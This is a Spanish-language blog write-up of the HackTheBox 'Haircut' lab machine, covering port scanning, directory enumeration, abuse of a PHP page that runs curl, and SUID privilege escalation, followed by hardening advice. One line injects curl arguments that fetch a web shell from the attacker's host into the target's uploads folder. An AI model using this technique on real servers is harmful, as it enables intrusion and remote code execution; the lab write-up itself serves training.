Hackthebox — Writeup Haircut No/MSF

Israel Aráoz Severiche
4 min readOct 24, 2020

--

En esta oportunidad se presento un equipo, que particularmente el acceso inicial fue relativamente nuevo (me refiero al uso de curl), para la escalada de privilegio fue una combinación de identificar binarios SUID y que este sea vulnerable, la compilación por separada y la transferencia de archivo son parte importante de interpretar el script que permite la escalada local de privilegio.

Identificación de puertos y servicios

Como siempre, identificado los posibles caminos para comprometer el equipo

nmap -sC -sV -p22,80 -oA haircut.services 10.10.10.24
Nmap scan report for 10.10.10.24
Host is up (0.23s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e9:75:c1:e4:b3:63:3c:93:f2:c6:18:08:36:48:ce:36 (RSA)
| 256 87:00:ab:a9:8f:6f:4b:ba:fb:c6:7a:55:a8:60:b2:68 (ECDSA)
|_ 256 b6:1b:5c:a9:26:5c:dc:61:b7:75:90:6c:88:51:6e:54 (ED25519)
80/tcp open http nginx 1.10.0 (Ubuntu)
|_http-server-header: nginx/1.10.0 (Ubuntu)
|_http-title: HTB Hairdresser
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Enumeración

Vamos siempre por HTTP, enseguida aparece la siguiente imagen

Se descargó la imagen para ver si habia algo entre “medio”

Se comenzó a identificar directorios

gobuster dir --url http://10.10.10.24/ -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -x php,txt,cgi 
-t 10
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url: http://10.10.10.24/
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-1.0.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Extensions: php,txt,cgi
[+] Timeout: 10s
===============================================================
2020/10/23 16:24:00 Starting gobuster
===============================================================
/exposed.php (Status: 200)
/uploads (Status: 301)
===============================================================
2020/10/23 16:46:14 Finished
===============================================================
===============================================================

Hacemos una prueba

Al ejecutar el comando vacío, se presenta un interesante error y se identifica que el archivo php, ejecuta curl

Podemos leer ficheros, se identificó el usuario Maria, que además puede iniciar de forma remota ;), ( ahhh no olvidar ssh),

Cargamos una web shell desde nuestro equipo

10.10.14.32:8080/shell.php -o uploads/shell.php

ahora si ;)

Acceso Inicial

Sinceramente intente con un par de payloads reverse shell, pero no funcionaron, luego lo hice de forma “inteligente” confirmando que el intérprete se encuentre instalado como python3 por ejemplo

y con eso ya estamos in ;)

Escalada de Privilegio

Siempre iré primero por sudo, nada ahora por suid se identificó algo en particular

Googleando un poco:

Básicamente el archivo.sh crea y compila 2 binarios

Compilando la libreria

Compilando el binario

Ahora se hace una transferencia de archivos, desde la maquina atacante a la maquina objetivo, siguiendo las instrucciones del exploit

Ahora con esto ya somos root ;)

Listo!

Conclusión

En el acceso inicial se debe restringir el permiso de escritura al directorio /uploads para evitar webshell y otro tipo de archivos innecesarios y “peligrosos”, respecto a la escalada de privilegio, analizar si es necesario activar el suid al binario y actualizar la versión, para evitar la escalada local de privilegio con un determinado exploit.

--

--

Israel Aráoz Severiche
Israel Aráoz Severiche

Written by Israel Aráoz Severiche

{💀Cybersecurity Engineer​​🐞 } / { 🥋​ Purple Belt Brazilian Jiu Jitsu } / {🌐​https://twitter.com/iara0z}

No responses yet